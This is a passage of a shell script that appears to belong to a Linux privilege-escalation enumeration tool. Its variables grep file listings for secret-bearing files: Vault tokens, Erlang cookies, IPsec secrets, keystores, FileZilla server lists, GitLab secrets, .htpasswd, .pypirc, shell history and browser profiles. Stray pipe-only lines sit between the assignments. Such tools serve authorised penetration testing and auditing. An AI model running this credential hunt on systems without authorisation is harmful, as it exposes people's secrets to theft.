PSTORAGE_LOGSTASH=$(echo -e "$FIND_DIR_CDROM\n$FIND_DIR_BIN\n$FIND_DIR_OPT\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SRV\n$FIND_DIR_PRIVATE\n$FIND_DIR_TMP\n$FIND_DIR_MEDIA\n$FIND_DIR_ETC\n$FIND_DIR_CACHE\n$FIND_DIR_USR\n$FIND_DIR_VAR\n$FIND_DIR_MNT\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_SBIN\n$FIND_DIR_SNAP" | grep -E "^/private|^/applications|^/bin|^/.cache|^/tmp|^/sbin|^/etc|^/cdrom|^/mnt|^$GREPHOMESEARCH|^/media|^/srv|^/opt|^/snap|^/usr|^/var" | grep -E "logstash$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_ELASTICSEARCH=$(echo -e "$FIND_MEDIA\n$FIND_SYS\n$FIND_USR\n$FIND_RUN\n$FIND_BIN\n$FIND_ETC\n$FIND_SRV\n$FIND_SBIN\n$FIND_CACHE\n$FIND_LIB64\n$FIND_APPLICATIONS\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM\n$FIND_TMP\n$FIND_LIB\n$FIND_OPT\n$FIND_SNAP\n$FIND_VAR\n$FIND_PRIVATE\n$FIND_SYSTEM\n$FIND_LIB32" | grep -E "^/private|^/applications|^/bin|^/.cache|^/tmp|^/sbin|^/etc|^/cdrom|^/mnt|^$GREPHOMESEARCH|^/media|^/srv|^/opt|^/snap|^/usr|^/var" | grep -E "elasticsearch\.y.*ml$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_VAULT_SSH_HELPER=$(echo -e "$FIND_MEDIA\n$FIND_SYS\n$FIND_USR\n$FIND_RUN\n$FIND_BIN\n$FIND_ETC\n$FIND_SRV\n$FIND_SBIN\n$FIND_CACHE\n$FIND_LIB64\n$FIND_APPLICATIONS\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM\n$FIND_TMP\n$FIND_LIB\n$FIND_OPT\n$FIND_SNAP\n$FIND_VAR\n$FIND_PRIVATE\n$FIND_SYSTEM\n$FIND_LIB32" | grep -E "^/private|^/applications|^/bin|^/.cache|^/tmp|^/sbin|^/etc|^/cdrom|^/mnt|^$GREPHOMESEARCH|^/media|^/srv|^/opt|^/snap|^/usr|^/var" | grep -E "vault-ssh-helper\.hcl$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_VAULT_SSH_TOKEN=$(echo -e "$FIND_MEDIA\n$FIND_SYS\n$FIND_USR\n$FIND_RUN\n$FIND_BIN\n$FIND_ETC\n$FIND_SRV\n$FIND_SBIN\n$FIND_CACHE\n$FIND_LIB64\n$FIND_APPLICATIONS\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM\n$FIND_TMP\n$FIND_LIB\n$FIND_OPT\n$FIND_SNAP\n$FIND_VAR\n$FIND_PRIVATE\n$FIND_SYSTEM\n$FIND_LIB32" | grep -E "^/private|^/applications|^/bin|^/.cache|^/tmp|^/sbin|^/etc|^/cdrom|^/mnt|^$GREPHOMESEARCH|^/media|^/srv|^/opt|^/snap|^/usr|^/var" | grep -E "\.vault-token$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_COUCHDB=$(echo -e "$FIND_DIR_CDROM\n$FIND_DIR_BIN\n$FIND_DIR_OPT\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SRV\n$FIND_DIR_PRIVATE\n$FIND_DIR_TMP\n$FIND_DIR_MEDIA\n$FIND_DIR_ETC\n$FIND_DIR_CACHE\n$FIND_DIR_USR\n$FIND_DIR_VAR\n$FIND_DIR_MNT\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_SBIN\n$FIND_DIR_SNAP" | grep -E "^/private|^/applications|^/bin|^/.cache|^/tmp|^/sbin|^/etc|^/cdrom|^/mnt|^$GREPHOMESEARCH|^/media|^/srv|^/opt|^/snap|^/usr|^/var" | grep -E "couchdb$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_REDIS=$(echo -e "$FIND_MEDIA\n$FIND_SYS\n$FIND_USR\n$FIND_RUN\n$FIND_BIN\n$FIND_ETC\n$FIND_SRV\n$FIND_SBIN\n$FIND_CACHE\n$FIND_LIB64\n$FIND_APPLICATIONS\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM\n$FIND_TMP\n$FIND_LIB\n$FIND_OPT\n$FIND_SNAP\n$FIND_VAR\n$FIND_PRIVATE\n$FIND_SYSTEM\n$FIND_LIB32" | grep -E "^/private|^/applications|^/bin|^/.cache|^/tmp|^/sbin|^/etc|^/cdrom|^/mnt|^$GREPHOMESEARCH|^/media|^/srv|^/opt|^/snap|^/usr|^/var" | grep -E "redis\.conf$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_MOSQUITTO=$(echo -e "$FIND_MEDIA\n$FIND_SYS\n$FIND_USR\n$FIND_RUN\n$FIND_BIN\n$FIND_ETC\n$FIND_SRV\n$FIND_SBIN\n$FIND_CACHE\n$FIND_LIB64\n$FIND_APPLICATIONS\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM\n$FIND_TMP\n$FIND_LIB\n$FIND_OPT\n$FIND_SNAP\n$FIND_VAR\n$FIND_PRIVATE\n$FIND_SYSTEM\n$FIND_LIB32" | grep -E "^/private|^/applications|^/bin|^/.cache|^/tmp|^/sbin|^/etc|^/cdrom|^/mnt|^$GREPHOMESEARCH|^/media|^/srv|^/opt|^/snap|^/usr|^/var" | grep -E "mosquitto\.conf$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_NEO4J=$(echo -e "$FIND_DIR_CDROM\n$FIND_DIR_BIN\n$FIND_DIR_OPT\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SRV\n$FIND_DIR_PRIVATE\n$FIND_DIR_TMP\n$FIND_DIR_MEDIA\n$FIND_DIR_ETC\n$FIND_DIR_CACHE\n$FIND_DIR_USR\n$FIND_DIR_VAR\n$FIND_DIR_MNT\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_SBIN\n$FIND_DIR_SNAP" | grep -E "^/private|^/applications|^/bin|^/.cache|^/tmp|^/sbin|^/etc|^/cdrom|^/mnt|^$GREPHOMESEARCH|^/media|^/srv|^/opt|^/snap|^/usr|^/var" | grep -E "neo4j$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_CLOUD_INIT=$(echo -e "$FIND_MEDIA\n$FIND_SYS\n$FIND_USR\n$FIND_RUN\n$FIND_BIN\n$FIND_ETC\n$FIND_SRV\n$FIND_SBIN\n$FIND_CACHE\n$FIND_LIB64\n$FIND_APPLICATIONS\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM\n$FIND_TMP\n$FIND_LIB\n$FIND_OPT\n$FIND_SNAP\n$FIND_VAR\n$FIND_PRIVATE\n$FIND_SYSTEM\n$FIND_LIB32" | grep -E "^/private|^/applications|^/bin|^/.cache|^/tmp|^/sbin|^/etc|^/cdrom|^/mnt|^$GREPHOMESEARCH|^/media|^/srv|^/opt|^/snap|^/usr|^/var" | grep -E "cloud\.cfg$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_ERLANG=$(echo -e "$FIND_MEDIA\n$FIND_SYS\n$FIND_USR\n$FIND_RUN\n$FIND_BIN\n$FIND_ETC\n$FIND_SRV\n$FIND_SBIN\n$FIND_CACHE\n$FIND_LIB64\n$FIND_APPLICATIONS\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM\n$FIND_TMP\n$FIND_LIB\n$FIND_OPT\n$FIND_SNAP\n$FIND_VAR\n$FIND_PRIVATE\n$FIND_SYSTEM\n$FIND_LIB32" | grep -E "^/private|^/applications|^/bin|^/.cache|^/tmp|^/sbin|^/etc|^/cdrom|^/mnt|^$GREPHOMESEARCH|^/media|^/srv|^/opt|^/snap|^/usr|^/var" | grep -E "\.erlang\.cookie$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_GMV_AUTH=$(echo -e "$FIND_MEDIA\n$FIND_SYS\n$FIND_USR\n$FIND_RUN\n$FIND_BIN\n$FIND_ETC\n$FIND_SRV\n$FIND_SBIN\n$FIND_CACHE\n$FIND_LIB64\n$FIND_APPLICATIONS\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM\n$FIND_TMP\n$FIND_LIB\n$FIND_OPT\n$FIND_SNAP\n$FIND_VAR\n$FIND_PRIVATE\n$FIND_SYSTEM\n$FIND_LIB32" | grep -E "^/private|^/applications|^/bin|^/.cache|^/tmp|^/sbin|^/etc|^/cdrom|^/mnt|^$GREPHOMESEARCH|^/media|^/srv|^/opt|^/snap|^/usr|^/var" | grep -E "gvm-tools\.conf$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_IPSEC=$(echo -e "$FIND_MEDIA\n$FIND_SYS\n$FIND_USR\n$FIND_RUN\n$FIND_BIN\n$FIND_ETC\n$FIND_SRV\n$FIND_SBIN\n$FIND_CACHE\n$FIND_LIB64\n$FIND_APPLICATIONS\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM\n$FIND_TMP\n$FIND_LIB\n$FIND_OPT\n$FIND_SNAP\n$FIND_VAR\n$FIND_PRIVATE\n$FIND_SYSTEM\n$FIND_LIB32" | grep -E "^/private|^/applications|^/bin|^/.cache|^/tmp|^/sbin|^/etc|^/cdrom|^/mnt|^$GREPHOMESEARCH|^/media|^/srv|^/opt|^/snap|^/usr|^/var" | grep -E "ipsec\.secrets$|ipsec\.conf$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_IRSSI=$(echo -e "$FIND_DIR_CDROM\n$FIND_DIR_BIN\n$FIND_DIR_OPT\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SRV\n$FIND_DIR_PRIVATE\n$FIND_DIR_TMP\n$FIND_DIR_MEDIA\n$FIND_DIR_ETC\n$FIND_DIR_CACHE\n$FIND_DIR_USR\n$FIND_DIR_VAR\n$FIND_DIR_MNT\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_SBIN\n$FIND_DIR_SNAP" | grep -E "^/private|^/applications|^/bin|^/.cache|^/tmp|^/sbin|^/etc|^/cdrom|^/mnt|^$GREPHOMESEARCH|^/media|^/srv|^/opt|^/snap|^/usr|^/var" | grep -E "\.irssi$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_KEYRING=$(echo -e "$FIND_MEDIA\n$FIND_SYS\n$FIND_USR\n$FIND_RUN\n$FIND_BIN\n$FIND_ETC\n$FIND_SRV\n$FIND_SBIN\n$FIND_CACHE\n$FIND_LIB64\n$FIND_APPLICATIONS\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM\n$FIND_TMP\n$FIND_LIB\n$FIND_OPT\n$FIND_SNAP\n$FIND_VAR\n$FIND_PRIVATE\n$FIND_SYSTEM\n$FIND_LIB32\n$FIND_DIR_CDROM\n$FIND_DIR_BIN\n$FIND_DIR_OPT\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SRV\n$FIND_DIR_PRIVATE\n$FIND_DIR_TMP\n$FIND_DIR_MEDIA\n$FIND_DIR_ETC\n$FIND_DIR_CACHE\n$FIND_DIR_USR\n$FIND_DIR_VAR\n$FIND_DIR_MNT\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_SBIN\n$FIND_DIR_SNAP" | grep -E "^/private|^/applications|^/bin|^/.cache|^/tmp|^/sbin|^/etc|^/cdrom|^/mnt|^$GREPHOMESEARCH|^/media|^/srv|^/opt|^/snap|^/usr|^/var" | grep -E "keyrings$|.*\.keyring$|.*\.keystore$|.*\.jks$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_FILEZILLA=$(echo -e "$FIND_MEDIA\n$FIND_SYS\n$FIND_USR\n$FIND_RUN\n$FIND_BIN\n$FIND_ETC\n$FIND_SRV\n$FIND_SBIN\n$FIND_CACHE\n$FIND_LIB64\n$FIND_APPLICATIONS\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM\n$FIND_TMP\n$FIND_LIB\n$FIND_OPT\n$FIND_SNAP\n$FIND_VAR\n$FIND_PRIVATE\n$FIND_SYSTEM\n$FIND_LIB32\n$FIND_DIR_CDROM\n$FIND_DIR_BIN\n$FIND_DIR_OPT\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SRV\n$FIND_DIR_PRIVATE\n$FIND_DIR_TMP\n$FIND_DIR_MEDIA\n$FIND_DIR_ETC\n$FIND_DIR_CACHE\n$FIND_DIR_USR\n$FIND_DIR_VAR\n$FIND_DIR_MNT\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_SBIN\n$FIND_DIR_SNAP" | grep -E "^/private|^/applications|^/bin|^/.cache|^/tmp|^/sbin|^/etc|^/cdrom|^/mnt|^$GREPHOMESEARCH|^/media|^/srv|^/opt|^/snap|^/usr|^/var" | grep -E "filezilla$|filezilla\.xml$|recentservers\.xml$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_BACKUP_MANAGER=$(echo -e "$FIND_MEDIA\n$FIND_SYS\n$FIND_USR\n$FIND_RUN\n$FIND_BIN\n$FIND_ETC\n$FIND_SRV\n$FIND_SBIN\n$FIND_CACHE\n$FIND_LIB64\n$FIND_APPLICATIONS\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM\n$FIND_TMP\n$FIND_LIB\n$FIND_OPT\n$FIND_SNAP\n$FIND_VAR\n$FIND_PRIVATE\n$FIND_SYSTEM\n$FIND_LIB32" | grep -E "^/private|^/applications|^/bin|^/.cache|^/tmp|^/sbin|^/etc|^/cdrom|^/mnt|^$GREPHOMESEARCH|^/media|^/srv|^/opt|^/snap|^/usr|^/var" | grep -E "storage\.php$|database\.php$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_SPLUNK=$(echo -e "$FIND_MEDIA\n$FIND_SYS\n$FIND_USR\n$FIND_RUN\n$FIND_BIN\n$FIND_ETC\n$FIND_SRV\n$FIND_SBIN\n$FIND_CACHE\n$FIND_LIB64\n$FIND_APPLICATIONS\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM\n$FIND_TMP\n$FIND_LIB\n$FIND_OPT\n$FIND_SNAP\n$FIND_VAR\n$FIND_PRIVATE\n$FIND_SYSTEM\n$FIND_LIB32" | grep -E "^/private|^/applications|^/bin|^/.cache|^/tmp|^/sbin|^/etc|^/cdrom|^/mnt|^$GREPHOMESEARCH|^/media|^/srv|^/opt|^/snap|^/usr|^/var" | grep -E "passwd$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_GITLAB=$(echo -e "$FIND_MEDIA\n$FIND_SYS\n$FIND_USR\n$FIND_RUN\n$FIND_BIN\n$FIND_ETC\n$FIND_SRV\n$FIND_SBIN\n$FIND_CACHE\n$FIND_LIB64\n$FIND_APPLICATIONS\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM\n$FIND_TMP\n$FIND_LIB\n$FIND_OPT\n$FIND_SNAP\n$FIND_VAR\n$FIND_PRIVATE\n$FIND_SYSTEM\n$FIND_LIB32" | grep -v -E '/lib' | grep -E "^/private|^/applications|^/bin|^/.cache|^/tmp|^/sbin|^/etc|^/cdrom|^/mnt|^$GREPHOMESEARCH|^/media|^/srv|^/opt|^/snap|^/usr|^/var" | grep -E "secrets\.yml$|gitlab\.yml$|gitlab\.rm$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_PGP_GPG=$(echo -e "$FIND_MEDIA\n$FIND_SYS\n$FIND_USR\n$FIND_RUN\n$FIND_BIN\n$FIND_ETC\n$FIND_SRV\n$FIND_SBIN\n$FIND_CACHE\n$FIND_LIB64\n$FIND_APPLICATIONS\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM\n$FIND_TMP\n$FIND_LIB\n$FIND_OPT\n$FIND_SNAP\n$FIND_VAR\n$FIND_PRIVATE\n$FIND_SYSTEM\n$FIND_LIB32" | grep -v -E 'README.gnupg' | grep -E "^/private|^/applications|^/bin|^/.cache|^/tmp|^/sbin|^/etc|^/cdrom|^/mnt|^$GREPHOMESEARCH|^/media|^/srv|^/opt|^/snap|^/usr|^/var" | grep -E ".*\.pgp$|.*\.gpg$|.*\.gnupg$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_CACHE_VI=$(echo -e "$FIND_MEDIA\n$FIND_SYS\n$FIND_USR\n$FIND_RUN\n$FIND_BIN\n$FIND_ETC\n$FIND_SRV\n$FIND_SBIN\n$FIND_CACHE\n$FIND_LIB64\n$FIND_APPLICATIONS\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM\n$FIND_TMP\n$FIND_LIB\n$FIND_OPT\n$FIND_SNAP\n$FIND_VAR\n$FIND_PRIVATE\n$FIND_SYSTEM\n$FIND_LIB32" | grep -E "^/private|^/applications|^/bin|^/.cache|^/tmp|^/sbin|^/etc|^/cdrom|^/mnt|^$GREPHOMESEARCH|^/media|^/srv|^/opt|^/snap|^/usr|^/var" | grep -E ".*\.swp$|.*\.viminfo$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_DOCKER=$(echo -e "$FIND_MEDIA\n$FIND_SYS\n$FIND_USR\n$FIND_RUN\n$FIND_BIN\n$FIND_ETC\n$FIND_SRV\n$FIND_SBIN\n$FIND_CACHE\n$FIND_LIB64\n$FIND_APPLICATIONS\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM\n$FIND_TMP\n$FIND_LIB\n$FIND_OPT\n$FIND_SNAP\n$FIND_VAR\n$FIND_PRIVATE\n$FIND_SYSTEM\n$FIND_LIB32" | grep -E "^/private|^/applications|^/bin|^/.cache|^/tmp|^/sbin|^/etc|^/cdrom|^/mnt|^$GREPHOMESEARCH|^/media|^/srv|^/opt|^/snap|^/usr|^/var" | grep -E "docker\.socket$|docker\.sock$|Dockerfile$|docker-compose\.yml$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_FIREFOX=$(echo -e "$FIND_MEDIA\n$FIND_SYS\n$FIND_USR\n$FIND_RUN\n$FIND_BIN\n$FIND_ETC\n$FIND_SRV\n$FIND_SBIN\n$FIND_CACHE\n$FIND_LIB64\n$FIND_APPLICATIONS\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM\n$FIND_TMP\n$FIND_LIB\n$FIND_OPT\n$FIND_SNAP\n$FIND_VAR\n$FIND_PRIVATE\n$FIND_SYSTEM\n$FIND_LIB32" | grep -E "^" | grep -E "\.mozilla$|Firefox$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_CHROME=$(echo -e "$FIND_MEDIA\n$FIND_SYS\n$FIND_USR\n$FIND_RUN\n$FIND_BIN\n$FIND_ETC\n$FIND_SRV\n$FIND_SBIN\n$FIND_CACHE\n$FIND_LIB64\n$FIND_APPLICATIONS\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM\n$FIND_TMP\n$FIND_LIB\n$FIND_OPT\n$FIND_SNAP\n$FIND_VAR\n$FIND_PRIVATE\n$FIND_SYSTEM\n$FIND_LIB32" | grep -E "^" | grep -E "google-chrome$|Chrome$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_OPERA=$(echo -e "$FIND_MEDIA\n$FIND_SYS\n$FIND_USR\n$FIND_RUN\n$FIND_BIN\n$FIND_ETC\n$FIND_SRV\n$FIND_SBIN\n$FIND_CACHE\n$FIND_LIB64\n$FIND_APPLICATIONS\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM\n$FIND_TMP\n$FIND_LIB\n$FIND_OPT\n$FIND_SNAP\n$FIND_VAR\n$FIND_PRIVATE\n$FIND_SYSTEM\n$FIND_LIB32" | grep -E "^" | grep -E "com\.operasoftware\.Opera$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_SAFARI=$(echo -e "$FIND_MEDIA\n$FIND_SYS\n$FIND_USR\n$FIND_RUN\n$FIND_BIN\n$FIND_ETC\n$FIND_SRV\n$FIND_SBIN\n$FIND_CACHE\n$FIND_LIB64\n$FIND_APPLICATIONS\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM\n$FIND_TMP\n$FIND_LIB\n$FIND_OPT\n$FIND_SNAP\n$FIND_VAR\n$FIND_PRIVATE\n$FIND_SYSTEM\n$FIND_LIB32" | grep -E "^" | grep -E "Safari$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_AUTOLOGIN=$(echo -e "$FIND_MEDIA\n$FIND_SYS\n$FIND_USR\n$FIND_RUN\n$FIND_BIN\n$FIND_ETC\n$FIND_SRV\n$FIND_SBIN\n$FIND_CACHE\n$FIND_LIB64\n$FIND_APPLICATIONS\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM\n$FIND_TMP\n$FIND_LIB\n$FIND_OPT\n$FIND_SNAP\n$FIND_VAR\n$FIND_PRIVATE\n$FIND_SYSTEM\n$FIND_LIB32" | grep -E "^/private|^/applications|^/bin|^/.cache|^/tmp|^/sbin|^/etc|^/cdrom|^/mnt|^$GREPHOMESEARCH|^/media|^/srv|^/opt|^/snap|^/usr|^/var" | grep -E "autologin$|autologin\.conf$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_FASTCGI=$(echo -e "$FIND_MEDIA\n$FIND_SYS\n$FIND_USR\n$FIND_RUN\n$FIND_BIN\n$FIND_ETC\n$FIND_SRV\n$FIND_SBIN\n$FIND_CACHE\n$FIND_LIB64\n$FIND_APPLICATIONS\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM\n$FIND_TMP\n$FIND_LIB\n$FIND_OPT\n$FIND_SNAP\n$FIND_VAR\n$FIND_PRIVATE\n$FIND_SYSTEM\n$FIND_LIB32" | grep -E "^/private|^/applications|^/bin|^/.cache|^/tmp|^/sbin|^/etc|^/cdrom|^/mnt|^$GREPHOMESEARCH|^/media|^/srv|^/opt|^/snap|^/usr|^/var" | grep -E "fastcgi_params$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_SNMP=$(echo -e "$FIND_MEDIA\n$FIND_SYS\n$FIND_USR\n$FIND_RUN\n$FIND_BIN\n$FIND_ETC\n$FIND_SRV\n$FIND_SBIN\n$FIND_CACHE\n$FIND_LIB64\n$FIND_APPLICATIONS\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM\n$FIND_TMP\n$FIND_LIB\n$FIND_OPT\n$FIND_SNAP\n$FIND_VAR\n$FIND_PRIVATE\n$FIND_SYSTEM\n$FIND_LIB32" | grep -E "^/private|^/applications|^/bin|^/.cache|^/tmp|^/sbin|^/etc|^/cdrom|^/mnt|^$GREPHOMESEARCH|^/media|^/srv|^/opt|^/snap|^/usr|^/var" | grep -E "snmpd\.conf$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_PYPIRC=$(echo -e "$FIND_MEDIA\n$FIND_SYS\n$FIND_USR\n$FIND_RUN\n$FIND_BIN\n$FIND_ETC\n$FIND_SRV\n$FIND_SBIN\n$FIND_CACHE\n$FIND_LIB64\n$FIND_APPLICATIONS\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM\n$FIND_TMP\n$FIND_LIB\n$FIND_OPT\n$FIND_SNAP\n$FIND_VAR\n$FIND_PRIVATE\n$FIND_SYSTEM\n$FIND_LIB32" | grep -E "^/private|^/applications|^/bin|^/.cache|^/tmp|^/sbin|^/etc|^/cdrom|^/mnt|^$GREPHOMESEARCH|^/media|^/srv|^/opt|^/snap|^/usr|^/var" | grep -E "\.pypirc$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_POSTFIX=$(echo -e "$FIND_DIR_CDROM\n$FIND_DIR_BIN\n$FIND_DIR_OPT\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SRV\n$FIND_DIR_PRIVATE\n$FIND_DIR_TMP\n$FIND_DIR_MEDIA\n$FIND_DIR_ETC\n$FIND_DIR_CACHE\n$FIND_DIR_USR\n$FIND_DIR_VAR\n$FIND_DIR_MNT\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_SBIN\n$FIND_DIR_SNAP" | grep -E "^/private|^/applications|^/bin|^/.cache|^/tmp|^/sbin|^/etc|^/cdrom|^/mnt|^$GREPHOMESEARCH|^/media|^/srv|^/opt|^/snap|^/usr|^/var" | grep -E "postfix$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_CLOUDFLARE=$(echo -e "$FIND_DIR_CDROM\n$FIND_DIR_BIN\n$FIND_DIR_OPT\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SRV\n$FIND_DIR_PRIVATE\n$FIND_DIR_TMP\n$FIND_DIR_MEDIA\n$FIND_DIR_ETC\n$FIND_DIR_CACHE\n$FIND_DIR_USR\n$FIND_DIR_VAR\n$FIND_DIR_MNT\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_SBIN\n$FIND_DIR_SNAP" | grep -E "^/private|^/applications|^/bin|^/.cache|^/tmp|^/sbin|^/etc|^/cdrom|^/mnt|^$GREPHOMESEARCH|^/media|^/srv|^/opt|^/snap|^/usr|^/var" | grep -E "\.cloudflared$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_HISTORY=$(echo -e "$FIND_MEDIA\n$FIND_SYS\n$FIND_USR\n$FIND_RUN\n$FIND_BIN\n$FIND_ETC\n$FIND_SRV\n$FIND_SBIN\n$FIND_CACHE\n$FIND_LIB64\n$FIND_APPLICATIONS\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM\n$FIND_TMP\n$FIND_LIB\n$FIND_OPT\n$FIND_SNAP\n$FIND_VAR\n$FIND_PRIVATE\n$FIND_SYSTEM\n$FIND_LIB32" | grep -E "^/private|^/applications|^/bin|^/.cache|^/tmp|^/sbin|^/etc|^/cdrom|^/mnt|^$GREPHOMESEARCH|^/media|^/srv|^/opt|^/snap|^/usr|^/var" | grep -E "\..*_history\..*$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_HTTP_CONF=$(echo -e "$FIND_MEDIA\n$FIND_SYS\n$FIND_USR\n$FIND_RUN\n$FIND_BIN\n$FIND_ETC\n$FIND_SRV\n$FIND_SBIN\n$FIND_CACHE\n$FIND_LIB64\n$FIND_APPLICATIONS\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM\n$FIND_TMP\n$FIND_LIB\n$FIND_OPT\n$FIND_SNAP\n$FIND_VAR\n$FIND_PRIVATE\n$FIND_SYSTEM\n$FIND_LIB32" | grep -E "^/private|^/applications|^/bin|^/.cache|^/tmp|^/sbin|^/etc|^/cdrom|^/mnt|^$GREPHOMESEARCH|^/media|^/srv|^/opt|^/snap|^/usr|^/var" | grep -E "httpd\.conf$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_HTPASSWD=$(echo -e "$FIND_MEDIA\n$FIND_SYS\n$FIND_USR\n$FIND_RUN\n$FIND_BIN\n$FIND_ETC\n$FIND_SRV\n$FIND_SBIN\n$FIND_CACHE\n$FIND_LIB64\n$FIND_APPLICATIONS\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM\n$FIND_TMP\n$FIND_LIB\n$FIND_OPT\n$FIND_SNAP\n$FIND_VAR\n$FIND_PRIVATE\n$FIND_SYSTEM\n$FIND_LIB32" | grep -E "^/private|^/applications|^/bin|^/.cache|^/tmp|^/sbin|^/etc|^/cdrom|^/mnt|^$GREPHOMESEARCH|^/media|^/srv|^/opt|^/snap|^/usr|^/var" | grep -E "\.htpasswd$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_LDAPRC=$(echo -e "$FIND_MEDIA\n$FIND_SYS\n$FIND_USR\n$FIND_RUN\n$FIND_BIN\n$FIND_ETC\n$FIND_SRV\n$FIND_SBIN\n$FIND_CACHE\n$FIND_LIB64\n$FIND_APPLICATIONS\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM\n$FIND_TMP\n$FIND_LIB\n$FIND_OPT\n$FIND_SNAP\n$FIND_VAR\n$FIND_PRIVATE\n$FIND_SYSTEM\n$FIND_LIB32" | grep -E "^/private|^/applications|^/bin|^/.cache|^/tmp|^/sbin|^/etc|^/cdrom|^/mnt|^$GREPHOMESEARCH|^/media|^/srv|^/opt|^/snap|^/usr|^/var" | grep -E "\.ldaprc$" | sort | uniq | head -n 70)
|
||||
